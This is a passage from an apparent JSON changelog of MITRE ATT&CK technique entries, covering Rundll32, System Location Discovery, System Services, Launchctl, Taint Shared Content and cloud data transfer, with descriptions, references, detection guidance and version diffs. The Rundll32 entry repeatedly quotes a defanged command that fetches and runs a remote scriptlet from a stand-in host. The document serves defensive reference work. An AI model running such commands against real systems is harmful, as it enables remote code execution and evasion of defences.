Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.\\n\\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:https[:]//www[.]example[.]com/malicious.sct\\\")\\\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\\n\\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).\\n\\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) \", \"old_value\": \"Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\\n\\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\\n\\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:https[:]//www[.]example[.]com/malicious.sct\\\")\\\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\\n\\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).\\n\\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) \", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\\n \\n-Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\\n+Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.\\n \\n Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:https[:]//www[.]example[.]com/malicious.sct\\\")\\\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\\n \"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://www.stormshield.com/news/poweliks-command-line-confusion/\", \"old_value\": \"https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.3\", \"old_value\": \"2.2\"}}}", + "previous_version": "2.2", + "version_change": "2.2 \u2192 2.3", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may abuse rundll32.exe to proxy execution of malt1Adversaries may abuse rundll32.exe to proxy execution of mal
>icious code. Using rundll32.exe, vice executing directly (i.>icious code. Using rundll32.exe, vice executing directly (i.
>e. [Shared Modules](https://attack.mitre.org/techniques/T112>e. [Shared Modules](https://attack.mitre.org/techniques/T112
>9)), may avoid triggering security tools that may not monito>9)), may avoid triggering security tools that may not monito
>r execution of the rundll32.exe process because of allowlist>r execution of the rundll32.exe process because of allowlist
>s or false positives from normal operations. Rundll32.exe is>s or false positives from normal operations. Rundll32.exe is
> commonly associated with executing DLL payloads (ex: <code>> commonly associated with executing DLL payloads (ex: <code>
>rundll32.exe {DLLname, DLLfunction}</code>).  Rundll32.exe c>rundll32.exe {DLLname, DLLfunction}</code>).  Rundll32.exe c
>an also be used to execute [Control Panel](https://attack.mi>an also be used to execute [Control Panel](https://attack.mi
>tre.org/techniques/T1218/002) Item files (.cpl) through the >tre.org/techniques/T1218/002) Item files (.cpl) through the 
>undocumented shell32.dll functions <code>Control_RunDLL</cod>undocumented shell32.dll functions <code>Control_RunDLL</cod
>e> and <code>Control_RunDLLAsUser</code>. Double-clicking a >e> and <code>Control_RunDLLAsUser</code>. Double-clicking a 
>.cpl file also causes rundll32.exe to execute. (Citation: Tr>.cpl file also causes rundll32.exe to execute.(Citation: Tre
>end Micro CPL)  Rundll32 can also be used to execute scripts>nd Micro CPL) For example, [ClickOnce](https://attack.mitre.
> such as JavaScript. This can be done using a syntax similar>org/techniques/T1127/002) can be proxied through Rundll32.ex
> to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLA>e.  Rundll32 can also be used to execute scripts such as Jav
>pplication \";document.write();GetObject(\"script:https[:]//ww>aScript. This can be done using a syntax similar to this: <c
>w[.]example[.]com/malicious.sct\")\"</code>  This behavior has>ode>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \"
> been seen used by malware such as Poweliks. (Citation: This>;document.write();GetObject(\"script:https[:]//www[.]example[
> is Security Command Line Confusion)  Adversaries may also a>.]com/malicious.sct\")\"</code>  This behavior has been seen u
>ttempt to obscure malicious code from analysis by abusing th>sed by malware such as Poweliks. (Citation: This is Security
>e manner in which rundll32.exe loads DLL function names. As > Command Line Confusion)  Adversaries may also attempt to ob
>part of Windows compatibility support for various character >scure malicious code from analysis by abusing the manner in 
>sets, rundll32.exe will first check for wide/Unicode then AN>which rundll32.exe loads DLL function names. As part of Wind
>SI character-supported functions before loading the specifie>ows compatibility support for various character sets, rundll
>d function (e.g., given the command <code>rundll32.exe Examp>32.exe will first check for wide/Unicode then ANSI character
>leDLL.dll, ExampleFunction</code>, rundll32.exe would first >-supported functions before loading the specified function (
>attempt to execute <code>ExampleFunctionW</code>, or failing>e.g., given the command <code>rundll32.exe ExampleDLL.dll, E
> that <code>ExampleFunctionA</code>, before loading <code>Ex>xampleFunction</code>, rundll32.exe would first attempt to e
>ampleFunction</code>). Adversaries may therefore obscure mal>xecute <code>ExampleFunctionW</code>, or failing that <code>
>icious code by creating multiple identical exported function>ExampleFunctionA</code>, before loading <code>ExampleFunctio
> names and appending <code>W</code> and/or <code>A</code> to>n</code>). Adversaries may therefore obscure malicious code 
> harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(>by creating multiple identical exported function names and a
>Citation: Github NoRunDll) DLL functions can also be exporte>ppending <code>W</code> and/or <code>A</code> to harmless on
>d and executed by an ordinal number (ex: <code>rundll32.exe >es.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Gi
>file.dll,#1</code>).  Additionally, adversaries may use [Mas>thub NoRunDll) DLL functions can also be exported and execut
>querading](https://attack.mitre.org/techniques/T1036) techni>ed by an ordinal number (ex: <code>rundll32.exe file.dll,#1<
>ques (such as changing DLL file names, file extensions, or f>/code>).  Additionally, adversaries may use [Masquerading](h
>unction names) to further conceal execution of a malicious p>ttps://attack.mitre.org/techniques/T1036) techniques (such a
>ayload.(Citation: rundll32.exe defense evasion) >s changing DLL file names, file extensions, or function name
 >s) to further conceal execution of a malicious payload.(Cita
 >tion: rundll32.exe defense evasion) 
", + "changelog_mitigations": { + "shared": [ + "M1050: Exploit Protection" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Metadata)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-04-01 16:42:08.735000+00:00", + "modified": "2024-10-15 16:07:23.511000+00:00", + "name": "System Location Discovery", + "description": "\nAdversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)\n\nAdversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1614", + "external_id": "T1614" + }, + { + "source_name": "Bleepingcomputer RAT malware 2020", + "description": "Abrams, L. (2020, October 23). New RAT malware gets commands via Discord, has ransomware feature. Retrieved April 1, 2021.", + "url": "https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/" + }, + { + "source_name": "AWS Instance Identity Documents", + "description": "Amazon. (n.d.). Instance identity documents. Retrieved April 2, 2021.", + "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html" + }, + { + "source_name": "Securelist Trasparent Tribe 2020", + "description": "Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved April 1, 2021.", + "url": "https://securelist.com/transparent-tribe-part-1/98127/" + }, + { + "source_name": "FBI Ragnar Locker 2020", + "description": "FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved September 12, 2024.", + "url": "https://s3.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf" + }, + { + "source_name": "Microsoft Azure Instance Metadata 2021", + "description": "Microsoft. (2021, February 21). Azure Instance Metadata Service (Windows). Retrieved April 2, 2021.", + "url": "https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows" + }, + { + "source_name": "Sophos Geolocation 2016", + "description": "Wisniewski, C. (2016, May 3). Location-based threats: How cybercriminals target you based on where you live. Retrieved April 1, 2021.", + "url": "https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Pooja Natarajan, NEC Corporation India", + "Hiroki Nagahama, NEC Corporation", + "Manikantan Srinivasan, NEC Corporation India", + "Wes Hurd", + "Katie Nickels, Red Canary" + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Process: OS API Execution", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system location information. Remote access tools with built-in features may interact directly with the Windows API, such as calling GetLocaleInfoW to gather information.(Citation: FBI Ragnar Locker 2020)\n\nMonitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"User\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:07:23.511000+00:00\", \"old_value\": \"2021-10-15 22:00:56.438000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved September 12, 2024.\", \"old_value\": \"FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved April 1, 2021.\", \"new_path\": \"root['external_references'][4]['description']\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://s3.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf\", \"old_value\": \"https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf\", \"new_path\": \"root['external_references'][4]['url']\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-10 18:23:06.482000+00:00", + "modified": "2024-09-20 19:55:40.527000+00:00", + "name": "System Services", + "description": "Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1569", + "external_id": "T1569" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Modification", + "Process: Process Creation", + "Service: Service Creation", + "File: File Modification", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for command line invocations of tools capable of modifying services that doesn\u2019t correspond to normal usage patterns and known software, patch cycles, etc. Also monitor for changes to executables and other files associated with services. Changes to Windows services may also be reflected in the Registry.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_remote_support": true, + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"User\", \"Administrator\", \"SYSTEM\", \"root\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-20 19:55:40.527000+00:00\", \"old_value\": \"2022-03-22 17:29:46.189000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1026: Privileged Account Management", + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Creation)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-10 18:26:56.187000+00:00", + "modified": "2024-09-20 20:14:35.179000+00:00", + "name": "Launchctl", + "description": "Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\n\nAdversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w \"%s/Library/LaunchAgents/%s\" or /bin/launchctl load to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1569/001", + "external_id": "T1569.001" + }, + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + }, + { + "source_name": "20 macOS Common Tools and Techniques", + "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", + "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/" + }, + { + "source_name": "Launchctl Man", + "description": "SS64. (n.d.). launchctl. Retrieved March 28, 2020.", + "url": "https://ss64.com/osx/launchctl.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Service: Service Creation", + "File: File Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line launchctl command. Plist files are located in the root, system, and users /Library/LaunchAgents or /Library/LaunchDaemons folders. \n\nMonitor command-line execution of the launchctl command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to /tmp and /Shared folders locations are potentially suspicious. \n\nWhen removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false, \"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"User\", \"root\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-20 20:14:35.179000+00:00\", \"old_value\": \"2021-10-15 18:40:23.141000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Creation)", + "DS0022: File (File Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:01.759000+00:00", + "modified": "2024-10-15 16:07:36.903000+00:00", + "name": "Taint Shared Content", + "description": "\nAdversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1080", + "external_id": "T1080" + }, + { + "source_name": "Retwin Directory Share Pivot", + "description": "Routin, D. (2017, November 13). Abusing network shares for efficient lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.", + "url": "https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Michal Dida, ESET", + "David Routin" + ], + "x_mitre_data_sources": [ + "Network Share: Network Share Access", + "Process: Process Creation", + "File: File Modification", + "File: File Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nFrequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "SaaS", + "Linux", + "macOS", + "Office Suite" + ], + "x_mitre_system_requirements": [ + "Access to shared folders and content with write permissions" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:07:36.903000+00:00\", \"old_value\": \"2023-05-31 12:33:20.915000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.5\", \"old_value\": \"1.4\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][4]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Office 365\"}}", + "previous_version": "1.4", + "version_change": "1.4 \u2192 1.5", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1038: Execution Prevention", + "M1049: Antivirus/Antimalware", + "M1050: Exploit Protection" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0033: Network Share (Network Share Access)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-30 13:03:04.038000+00:00", + "modified": "2024-10-15 16:08:25.344000+00:00", + "name": "Transfer Data to Cloud Account", + "description": "Adversaries may exfiltrate data by transferring the data, including through sharing/syncing and creating backups of cloud environments, to another cloud account they control on the same service.\n\nA defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.(Citation: TLDRSec AWS Attacks)\n\nAdversaries may also use cloud-native mechanisms to share victim data with adversary-controlled cloud accounts, such as creating anonymous file sharing links or, in Azure, a shared access signature (SAS) URI.(Citation: Microsoft Azure Storage Shared Access Signature)\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1537", + "external_id": "T1537" + }, + { + "source_name": "AWS EBS Snapshot Sharing", + "description": "Amazon Web Services. (n.d.). Share an Amazon EBS snapshot. Retrieved March 2, 2022.", + "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html" + }, + { + "source_name": "TLDRSec AWS Attacks", + "description": "Clint Gibler and Scott Piper. (2021, January 4). Lesser Known Techniques for Attacking AWS Environments. Retrieved March 4, 2024.", + "url": "https://tldrsec.com/p/blog-lesser-known-aws-attacks" + }, + { + "source_name": "Azure Shared Access Signature", + "description": "Delegate access with a shared access signature. (2019, December 18). Delegate access with a shared access signature. Retrieved March 2, 2022.", + "url": "https://docs.microsoft.com/en-us/rest/api/storageservices/delegate-access-with-shared-access-signature" + }, + { + "source_name": "Azure Blob Snapshots", + "description": "Microsoft Azure. (2021, December 29). Blob snapshots. Retrieved March 2, 2022.", + "url": "https://docs.microsoft.com/en-us/azure/storage/blobs/snapshots-overview" + }, + { + "source_name": "Microsoft Azure Storage Shared Access Signature", + "description": "Microsoft. (2023, June 7). Grant limited access to Azure Storage resources using shared access signatures (SAS). Retrieved March 4, 2024.", + "url": "https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian", + "Darin Smith, Cisco", + "ExtraHop", + "Gabriel Currie" + ], + "x_mitre_data_sources": [ + "Cloud Storage: Cloud Storage Modification", + "Snapshot: Snapshot Creation", + "Snapshot: Snapshot Modification", + "Cloud Storage: Cloud Storage Metadata", + "Snapshot: Snapshot Metadata", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content", + 